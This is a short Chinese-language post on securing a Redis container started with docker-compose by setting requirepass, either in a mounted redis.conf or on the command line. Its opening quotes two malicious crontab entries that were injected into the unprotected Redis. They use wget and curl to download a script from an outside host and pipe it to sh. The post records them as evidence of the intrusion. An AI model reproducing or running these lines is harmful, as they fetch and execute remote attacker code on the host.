在服务器上使用 docker-compose 启动一个 Docker 中的 Redis 时,配置文件没有生效,Redis 没有加密码,导致 redis 中被写入两条记录:
*/3 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh
*/1 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh
还好及时发现,在此记录一下解决过程。
在 docker-compose.yml
文件中写入下列内容:
redis:
image: redis
container_name: my_redis
command: redis-server /usr/local/etc/redis/redis.conf
ports:
- "6379:6379"
volumes:
- ./data:/data
- ./redis.conf:/usr/local/etc/redis/redis.conf
其中:
- ./data:/data
意为将当前目录共享到容器内的 /data
目录,相当于做了一个软连接。注:共享目录或文件时如果宿主机或容器内不存在 docker 会自动帮你创建。
Redis 的密码需要自己在与容器共享的配置 redis.conf
中加入,即更改配置中 requirepass
为:
requirepass yourpassword
在 docker-compose.yml
所在目录下执行 docker-compose up -d
,即可在 Docker 中生成一个带密码的 Redis 容器。
同样在 docker-compose.yml
中写入下列内容:
redis:
image: redis
container_name: my_redis
command: redis-server --requirepass yourpassword
ports:
- "6379:6379"
volumes:
- ./data:/data
然后直接在其所在目录下执行 docker-compose up -d
,即可在 Docker 中生成一个带密码的 Redis 容器。
方案一的好处是可以更多的定制 Redis 的配置,方案二的好处是可以快速启动一个带免密的 Docker Redis 实例而不需要依赖外部的 redis.conf。